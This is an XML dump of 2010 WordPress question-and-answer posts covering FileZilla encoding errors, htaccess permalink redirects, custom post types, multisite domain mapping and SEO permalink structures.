  <row Id="1340" PostTypeId="1" CreationDate="2010-09-04T14:23:32.357" Score="1" ViewCount="180" Body="&lt;p&gt;I use the free FTP software FileZilla. In most cases, whenever I open any PHP file from FTP using FileZilla, I get this error after editing then saving the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Parse error: syntax error, unexpected T_VARIABLE in&lt;/code&gt; &lt;code&gt;File path here&lt;/code&gt; &lt;code&gt;on line 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I solve this error and get rid of this problem forever?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I switch to another FTP program?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-06T03:34:01.420" LastActivityDate="2010-10-06T03:34:01.420" Title="WordPress php error after editing file with FileZilla" Tags="&lt;php&gt;&lt;ftp&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="1341" PostTypeId="2" ParentId="1340" CreationDate="2010-09-04T14:45:58.040" Score="2" ViewCount="" Body="&lt;p&gt;It could be a problem with your file encoding. Make sure that your files are encoded in the same way as your wordpress install. In most cases your site use files encoded in UTF-8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to FileZilla options: Open Site Manager &gt; Charset tab - Custom Encoding &gt; and see if it's UTF-8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it's set properly try to open and edit a file and see if it works!&lt;/p&gt;&#xA;" OwnerUserId="753" LastActivityDate="2010-09-04T14:45:58.040" CommentCount="4" />
  <row Id="1342" PostTypeId="2" ParentId="1339" CreationDate="2010-09-04T14:51:00.447" Score="1" ViewCount="" Body="&lt;p&gt;Sure this is not a problem. As long as you site works and redirects to the right pages there is no harm in doing this. You might also want to use it for protecting your wp-config file from hackers by adding this to your .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Files wp-config.php&amp;gt;&#xA; Order Allow,Deny&#xA; Deny from all&#xA;&amp;lt;/Files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good luck :)&lt;/p&gt;&#xA;" OwnerUserId="753" LastActivityDate="2010-09-04T14:51:00.447" CommentCount="3" />
  <row Id="1343" PostTypeId="1" AcceptedAnswerId="1344" CreationDate="2010-09-04T15:36:22.250" Score="2" ViewCount="503" Body="&lt;p&gt;When I started with my blog, the permalinks and following structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://&amp;lt;domain&amp;gt;/%year%/%monthnum%/%day%/%postname%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some time ago, I changed the permalink structure to &quot;&lt;code&gt;http://&amp;lt;domain&amp;gt;/%postname%/&lt;/code&gt;&quot; only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to tackle the external links to the old permalink structure, I added the following line in my htaccess-file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 /([0-9]+)/([0-9]+)/([0-9]+)/(.*)$ http://&amp;lt;domain&amp;gt;/$4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the problem is that the redirect line breaks the archive links, eg. &quot;&lt;code&gt;http://&amp;lt;domain&amp;gt;/2010/09/02&lt;/code&gt;&quot; is redirected to the front page instead of showing the posts from Sept 2, 2010.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to correct the redirect directive in htaccess, or am I not going to be able to eat the cake and have it too?&lt;/p&gt;&#xA;" OwnerUserId="751" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:40:35.610" LastActivityDate="2011-02-16T08:40:35.610" Title="Change of permalink structure - redirects in htaccess breaks the archive links" Tags="&lt;permalinks&gt;&lt;archive&gt;&lt;htaccess&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1344" PostTypeId="2" ParentId="1343" CreationDate="2010-09-04T16:55:20.030" Score="2" ViewCount="" Body="&lt;p&gt;RedirectMatch of Mod_Alias is not as powerful as Mod_Rewrite. If you have Mod_Rewrite on your host (Pretty Permalinks make use of it for example) you could make the redirect only if the URL is not in the Archive link format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test for that case, there is &lt;a href=&quot;http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html#rewritecond&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;RewriteCond&lt;/code&gt;&lt;/a&gt; and to make the redirect command, there is the &lt;a href=&quot;http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html#rewriterule&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;RewriteRule ... [R=301]&lt;/code&gt;&lt;/a&gt; directive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An Example based on your data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !^/((20|19)[0-9]{2})/([0-9]{2})/[0-9]{2}$ [NC]&#xA;RewriteRule ^/([0-9]{4})/([0-9]{2})/([0-9]{2})/(.*)$ http://&amp;lt;domain&amp;gt;/$4 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is untested but I think it should do the work. I've used quantifier ({2}) to better specifiy how many numbers you expect. Next to that in the RewriteCond I've created a pattern that only matches the 20.. and 19.. years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first line (the condition, &lt;code&gt;RewriteCond&lt;/code&gt;) checks not to match an Archive-URL and only if not matched, the rule to do the redirect will be executed. The &lt;code&gt;RewriteRule&lt;/code&gt; is basically doing the same as your &lt;code&gt;RedirectMatch&lt;/code&gt; directive.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-08T17:52:39.880" LastActivityDate="2010-09-08T17:52:39.880" CommentCount="1" />
  <row Id="1345" PostTypeId="2" ParentId="1340" CreationDate="2010-09-04T17:05:14.570" Score="1" ViewCount="" Body="&lt;p&gt;Another file encoding option could be file format related.&#xA;If your edit through FileZilla saves the file in Windows format and the server is Linux for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such case editing might remove newlines, which means that some code lines might get concatenated to a single comment line and therefore commented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously from your error this is not the issue, just for the sake of documentation - one should look into that as well.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-09-04T17:05:14.570" />
  <row Id="1346" PostTypeId="2" ParentId="1216" CreationDate="2010-09-04T17:53:07.537" Score="0" ViewCount="" Body="&lt;p&gt;I understand you don't want to use a plugin, but for pure simplicity, try the Admin Menu Editor plugin by Janis Elsts. Rearrange your admin menus any way you like; can also hide menu items.&lt;/p&gt;&#xA;" OwnerUserId="30" LastActivityDate="2010-09-04T17:53:07.537" CommentCount="1" />
  <row Id="1347" PostTypeId="2" ParentId="1338" CreationDate="2010-09-04T18:14:59.493" Score="2" ViewCount="" Body="&lt;p&gt;In my opinion that plugin is useless.  The only way that I see to do this is for the Admin (you) to have the ad accounts and for you to distribute the funds to each respective blogger.  The problem arises when you have more than one advertising network (Sixapart, Adify, Adsense...) and more than one revenue metric (eg. CPM, CPC, CPA &amp;amp; Sponsorship).  In that case it's an accounting nightmare to affectively quantify each bloggers share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your revenue is primarily CPM display ads then you should measure each authors traffic level and distribute the revenue accordingly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Adsense only, then you can set up different channels for each author and distribute the money each channel earns.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't believe that Wordpress doesn't have a way to track the amount of traffic each author gets but this can be over come in Analytics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &lt;em&gt;To clarify, I was calling the plugin mentioned in the question &quot;useless.&quot;  Really it's not useless, but it has such a narrow use that I can't conceive anyone that would actually find it useful.  The WPMUdev plugin that was mentioned after I posted this answer is also very specific.  It allows you to run your own ads in tandum with your user's ads.  You are not actually sharing the revenue, you are sharing ad inventory and allowing them to sell their own and keep that money while you keep the money generated by your own inventory.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="765" LastEditorUserId="765" LastEditorDisplayName="" LastEditDate="2010-09-05T19:01:38.353" LastActivityDate="2010-09-05T19:01:38.353" CommunityOwnedDate="2010-09-04T18:14:59.493" CommentCount="7" />
  <row Id="1348" PostTypeId="2" ParentId="1314" CreationDate="2010-09-04T18:37:07.917" Score="0" ViewCount="" Body="&lt;p&gt;Just specify an image as the &quot;nextpagelink&quot; and &quot;previouspagelink&quot; instead of the &amp;lt;&amp;lt; or &gt;&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_link_pages(array('before' =&amp;gt; '&amp;lt;div class=&quot;pagenav&quot;&amp;gt;&amp;lt;strong&amp;gt;Navigate&amp;lt;/strong&amp;gt;', 'after' =&amp;gt; '&amp;lt;/div&amp;gt;', 'next_or_number' =&amp;gt; 'number', 'nextpagelink' =&amp;gt; __('&amp;lt;img src=&quot;PUT YOUR IMAGE URL HERE&quot; /&amp;gt;'), 'previouspagelink' =&amp;gt; __('&amp;lt;img src=&quot;PUT YOUR IMAGE URL HERE&quot; /&amp;gt;'))); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you are correct that by default you are limited to either &quot;Numbers&quot; or &quot;Next/Previous&quot; links but a plugin can extend this: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-pagenavi/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-pagenavi/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bonus:&lt;/strong&gt; Add this to your function.php and it will add a &quot;Nextpage&quot; button next to the &quot;More&quot; button in the WYSIWYG editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//  Add Next Page Button to TinyMCE Editor&#xA;add_filter('mce_buttons','wysiwyg_editor');&#xA;function wysiwyg_editor($mce_buttons) {&#xA;    $pos = array_search('wp_more',$mce_buttons,true);&#xA;    if ($pos !== false) {&#xA;        $tmp_buttons = array_slice($mce_buttons, 0, $pos+1);&#xA;        $tmp_buttons[] = 'wp_page';&#xA;        $mce_buttons = array_merge($tmp_buttons, array_slice($mce_buttons, $pos+1));&#xA;    }&#xA;    return $mce_buttons;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-09-04T18:37:07.917" />
  <row Id="1349" PostTypeId="2" ParentId="1338" CreationDate="2010-09-04T18:39:37.720" Score="3" ViewCount="" Body="&lt;p&gt;This plugin does it: &lt;a href=&quot;http://premium.wpmudev.org/project/ad-sharing&quot; rel=&quot;nofollow&quot;&gt;http://premium.wpmudev.org/project/ad-sharing&lt;/a&gt; (it is a paid membership site).&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-04T18:39:37.720" CommunityOwnedDate="2010-09-04T18:39:37.720" CommentCount="2" />
  <row Id="1350" PostTypeId="2" ParentId="1311" CreationDate="2010-09-04T19:00:05.800" Score="0" ViewCount="" Body="&lt;p&gt;To the best of my knowledge the priority of a meta box is limited to: Low, Default and High. Which is unlike admin menus that let you specify a value and put it anywhere.  I'd try &quot;High.&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the order of all your meta boxes by dragging and dropping so where ever High puts the subtitle you can drag it to be beneath the Title.  The only disadvantage is that you'd have to do it for every user.  There are plugins like Adminize that let you specify the order of meta boxes for all user accounts which would overcome this problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create Subtitle Meta box:&lt;/strong&gt;  www.spencerfinnell.com/2010/07/05/wordpress-custom-write-panels/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Adminize Plugin:&lt;/strong&gt;  wordpress.org/extend/plugins/adminimize/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;em&gt;I don't have a high enough rank to post links so you'll have to copy and paste&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-09-04T19:00:05.800" CommentCount="1" />
  <row Id="1351" PostTypeId="2" ParentId="1311" CreationDate="2010-09-04T19:05:15.867" Score="2" ViewCount="" Body="&lt;p&gt;I am wondering why my first answer was down-voted. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the only way to do is to add a meta box below the post content field and use javascript to move it above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the way it is done with the slug field in the WordPress core (the slug field is were you edit the page or post url). Disable javascript in your browser and you will see the slug field at the bottom of the page.&#xA;If WordPress does it with javascript, I think the best way to do it is javascript too. As, I can't see any hook between the title and content fields which will allow it to be done without using javascript.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-04T19:05:15.867" CommentCount="1" />
  <row Id="1352" PostTypeId="1" AcceptedAnswerId="1692" CreationDate="2010-09-04T19:09:13.333" Score="1" ViewCount="259" Body="&lt;p&gt;I have a custom post type for a Slideshow which uses Custom Post Meta to insert the different slides. How can I code the &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt; tag in between the sides in my slideshow.php so that they slides will paginate? Right now when I try to do it the code doesn't show because it by it's nature it commented out.&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-09-25T09:53:37.360" Title="Hard code the nextpage tag into my theme?" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;" AnswerCount="3" />
  <row Id="1353" PostTypeId="1" CreationDate="2010-09-04T20:01:52.890" Score="1" ViewCount="787" Body="&lt;p&gt;What is the best way to add custom fields to a WordPress comment form?&#xA;(for example subject, image, etc...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how do I use the data entered afterwards...&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditorDisplayName="" LastEditDate="2010-09-20T03:47:45.057" LastActivityDate="2011-01-07T04:34:10.950" Title="Adding Custom Fields to WordPress Comment Forms?" Tags="&lt;customization&gt;&lt;comments&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="1354" PostTypeId="1" CreationDate="2010-09-04T20:10:50.800" Score="4" ViewCount="989" Body="&lt;p&gt;Is it possible to add categories to a Custom Post Type in WordPress?&lt;/p&gt;&#xA;" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-04T20:20:47.757" LastActivityDate="2010-09-04T21:19:17.850" Title="Adding Categories to a WordPress Custom Post Type?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="1355" PostTypeId="2" ParentId="1354" CreationDate="2010-09-04T20:20:04.950" Score="5" ViewCount="" Body="&lt;p&gt;Put the following in your theme's &lt;code&gt;functions.php&lt;/code&gt; file (changing &lt;code&gt;my-custom-post-type&lt;/code&gt; to be whatever your Custom Post Type is, of course):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;register_taxonomy_for_object_type('category','my-custom-post-type');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-04T21:19:17.850" LastActivityDate="2010-09-04T21:19:17.850" CommentCount="4" />
  <row Id="1356" PostTypeId="2" ParentId="1353" CreationDate="2010-09-04T20:22:33.950" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;em&gt;@hannit cohen&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This slideshow from &lt;a href=&quot;http://dentedreality.com.au/&quot; rel=&quot;nofollow&quot;&gt;Beau Lebens&lt;/a&gt; should be able to show you how:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.slideshare.net/beaulebens/hooking-into-comments-5047868&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Hooking into Comments&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And this blog post from &lt;a href=&quot;http://ottodestruct.com/&quot; rel=&quot;nofollow&quot;&gt;Otto&lt;/a&gt; should be able to show you more:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-theme-tip-the-comment-form/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress 3.0 Theme Tip: The Comment Form&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-04T20:22:33.950" CommentCount="4" />
  <row Id="1357" PostTypeId="1" CreationDate="2010-09-04T20:41:34.907" Score="3" ViewCount="182" Body="&lt;p&gt;What are the methods to create a user-generated-content website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know each has his own favorite way to do that, please elaborate on your own method, how to implement it and the pros/cons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is mainly a wiki question, I just figured I know about 7 methods for that)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific: Which ways do you use to give visitors the ability to add contnet to your website (posts, images, videos, etc...)&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditorDisplayName="" LastEditDate="2010-09-05T07:38:06.610" LastActivityDate="2010-09-20T21:05:40.247" CommunityOwnedDate="2010-09-04T20:41:34.907" Title="What are the ways to use WordPress as a user generated content site" Tags="&lt;customization&gt;&lt;development&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="6" />
  <row Id="1358" PostTypeId="1" CreationDate="2010-09-04T21:35:08.967" Score="2" ViewCount="306" Body="&lt;p&gt;the default sign up button now points to: &#xA;&lt;a href=&quot;http://www.hoopinstructors.com/register/&quot; rel=&quot;nofollow&quot;&gt;http://www.hoopinstructors.com/register/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to change the url so that it points to the real sign up page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at register.php, but I don't know php well enough to figure out how to do it. I searched for the url with firebug, but am still unclear on where exactly I can find - and change - the url that the button points to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks,&#xA;Terri&lt;/p&gt;&#xA;" OwnerUserId="346" LastActivityDate="2010-09-17T13:17:31.517" Title="changing the signup button url in WPMU/Buddypress" Tags="&lt;buddypress&gt;&lt;registration&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="1359" PostTypeId="1" AcceptedAnswerId="1373" CreationDate="2010-09-04T23:34:34.673" Score="1" ViewCount="240" Body="&lt;p&gt;I have just created a new Wordpress site (version 3.0.1) on a Windows 2003 server, but the 'Month and Time' permalink format does not work. It gives a 404 error when I use it. All of the other standard permalink formats work okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please can you tell me what would be causing this issue?&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-09-08T18:36:13.590" LastActivityDate="2010-11-14T00:40:49.193" Title="Why does the 'Month and Name' Permalink Format not Work on my new Wordpress Site (running on IIS7)?" Tags="&lt;permalinks&gt;&lt;404-error&gt;&lt;iis&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="1360" PostTypeId="2" ParentId="268" CreationDate="2010-09-05T01:26:28.060" Score="0" ViewCount="" Body="&lt;p&gt;Maybe something like this &quot;Advanced Ticket System&quot; plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wats/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wats/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only catch is that the current free version isn't WP3.x copatible, you have to donate to get that version. I have been looking for something similiar too.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-05T01:26:28.060" />
  <row Id="1361" PostTypeId="2" ParentId="1266" CreationDate="2010-09-05T01:55:17.063" Score="3" ViewCount="" Body="&lt;p&gt;I have seen a similar question on &lt;a href=&quot;http://stackoverflow.com&quot;&gt;http://stackoverflow.com&lt;/a&gt; a few days ago .&#xA;I think my answer may not help you .But There are some other examples mentioned which were built like digg already on wordpress platform .&#xA;&lt;a href=&quot;http://nestdev.com&quot; rel=&quot;nofollow&quot;&gt;http://nestdev.com&lt;/a&gt; is the best one I have ever saw .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sorry If My answer doesn't fit to the question .I didn't find comment option here for  this question.May be my reputation level is not enough to use the option to comment.SO I have post this as answer)&lt;/p&gt;&#xA;" OwnerUserId="402" LastActivityDate="2010-09-05T01:55:17.063" CommunityOwnedDate="2010-09-05T01:55:17.063" CommentCount="2" />
  <row Id="1362" PostTypeId="1" AcceptedAnswerId="1367" CreationDate="2010-09-05T02:15:57.527" Score="1" ViewCount="307" Body="&lt;p&gt;I have created a Multi-Site and want to help my friends to create Sub-sites under it.I also have Idea to offer 3 choices to chose from the domain names they wish .&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For Example :&#xA;         My main site is mydomain.com .They should have an option to chose&#xA;  from domain1.com,domain2.com and&#xA;  domain3.com .&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have googled for any instructions on it and got this one on &lt;a href=&quot;http://premium.wpmudev.org/project/multi-domains&quot; rel=&quot;nofollow&quot;&gt;wpmudev&lt;/a&gt;.But I would like to set this functionality with any plugin which I can get free of cost or configuring  manually .Do any one Implemented this ever before? Once I read similar questions some where but I have not find a right solution .&lt;/p&gt;&#xA;" OwnerUserId="402" LastEditorUserId="402" LastEditorDisplayName="" LastEditDate="2010-09-05T02:22:02.667" LastActivityDate="2010-09-05T08:20:48.500" CommunityOwnedDate="2010-09-05T02:21:12.977" Title="How to use Multiple-Domains in one Multi-Site Installation?" Tags="&lt;multisite&gt;&lt;domain&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="1363" PostTypeId="2" ParentId="1335" CreationDate="2010-09-05T02:51:11.133" Score="1" ViewCount="" Body="&lt;p&gt;You can do it If you pay for premium features. With this your blog will get &lt;strong&gt;Ad-control&lt;/strong&gt; option .Later you do need to contact the Wordpress team using the contact form on this page &lt;a href=&quot;http://en.support.wordpress.com/advertising/&quot; rel=&quot;nofollow&quot;&gt;Ad control&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice is to don't expect to earn much from Adsense unless you have 1000 hits per day and are blogging about a subject where the typical visitor is inclined to click on ads .Other wise it would be waste of your money to purchase premium package .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this answers your question :)&lt;/p&gt;&#xA;" OwnerUserId="402" LastActivityDate="2010-09-05T02:51:11.133" CommunityOwnedDate="2010-09-05T02:51:11.133" />
  <row Id="1364" PostTypeId="1" CreationDate="2010-09-05T04:39:39.353" Score="4" ViewCount="486" Body="&lt;p&gt;In the past I've used the Day and Name or Month and Name settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should the date structure be omitted and just have&#xA;/%postname%/&#xA;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ie does having the date information reduce the quality of the url?&lt;/p&gt;&#xA;" OwnerUserId="675" LastActivityDate="2010-10-01T21:59:43.960" Title="What is the best permalink structure for SEO?" Tags="&lt;permalinks&gt;&lt;seo&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="1365" PostTypeId="2" ParentId="1364" CreationDate="2010-09-05T04:54:35.957" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@nevster,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;The best permalink structure for seo is /%category%/%postname%/&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This permalink structure gives you the most keywords loaded into the URL of your post. Since the category that you’ve placed your post under usually relates to the post title, you will have an extra SEO benefit if other websites use that permalink structure to link your post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading over the link Mike shared below I felt I should also mention that starting the permalink string with %postname%, %category%, %tag%, or %author% will invoke WordPress's &quot;use_verbose_page_rules&quot; which will cause the rewrite matching system to generate individual rules for every Page, then check those first. If you have lots of pages, this is a big hit to the system. The performance hit happens at about the 50+ page mark. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;In order to have the ability to scale your site on a larger level you should start the permalink structure with a number like: /%year%/%category%/%postname%/&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your pages will always use the /%pagename%/ permalink structure any time you enable permalinks so the /%year%/%category%/%postname%/ will only be applied to your posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your site is more CMS than blog the optimal SEO url structure would be to use child pages where the parent page could be considered a category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For example&lt;/strong&gt; a university website might have a parent page &quot;Campus Offices&quot; with child pages of &quot;Business Affairs&quot;, &quot;Athletics&quot; etc.. Then URLS would like this: www.university.edu/campus-offices/athletics/ which is great for the user experience and seo. &lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-05T09:10:31.180" LastActivityDate="2010-09-05T09:10:31.180" CommentCount="5" />
  <row Id="1366" PostTypeId="1" AcceptedAnswerId="1368" CreationDate="2010-09-05T05:43:59.497" Score="4" ViewCount="124" Body="&lt;p&gt;Is it possible to run more than one site on the same WordPress core and a set of plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to have custom plugins and themes for each site, but have a base set that is the same, to make it easier to maintain.  &lt;/p&gt;&#xA;" OwnerUserId="94" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-09-27T03:55:43.053" LastActivityDate="2010-09-27T03:55:43.053" Title="Running several WordPress sites on same core / plugins?" Tags="&lt;multisite&gt;&lt;hosting&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="1367" PostTypeId="2" ParentId="1362" CreationDate="2010-09-05T06:04:05.820" Score="2" ViewCount="" Body="&lt;p&gt;As far as I know, Multi-Domains from WPMUDEV is the only plugin which works flawlessly with the lastest version of WordPress. It is BuddyPress compatible, has a single signon and even a multi-subdomain feature (blog1.subdomain.site.com, blog2.subdomain.site.com).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a free alternative, but it has not been updated for the latest version of WordPress (the author is not currently available to do it) and it is not as full featured as the wpmudev plugin.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/yet-another-multi-site-manager/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/yet-another-multi-site-manager/&lt;/a&gt;&#xA;You may want to download it and modify it to fix the issues with WordPress 3.0.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-05T06:04:05.820" CommunityOwnedDate="2010-09-05T06:04:05.820" CommentCount="3" />
  <row Id="1368" PostTypeId="2" ParentId="1366" CreationDate="2010-09-05T06:15:33.483" Score="6" ViewCount="" Body="&lt;p&gt;Yes, &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;it is possible&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can setup subdomains sites like this: &lt;code&gt;subdomain1.domain.com&lt;/code&gt;, &lt;code&gt;subdomains2.domain.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, after you setup the network, use a domain mapping plugin to setup a domain name for each of them. &lt;code&gt;subdomain1.domain.com&lt;/code&gt; becomes &lt;code&gt;domain1.com&lt;/code&gt;, &lt;code&gt;subdomain2.domain.com&lt;/code&gt; becomes &lt;code&gt;domain2.com&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several domain mapping plugins out there:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://premium.wpmudev.org/project/domain-mapping&quot; rel=&quot;nofollow&quot;&gt;http://premium.wpmudev.org/project/domain-mapping&lt;/a&gt; (the one I would recommend, but it is on a paid membership site)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&lt;/a&gt; (free one, but I never used it)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="473" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-05T14:30:00.220" LastActivityDate="2010-09-05T14:30:00.220" />
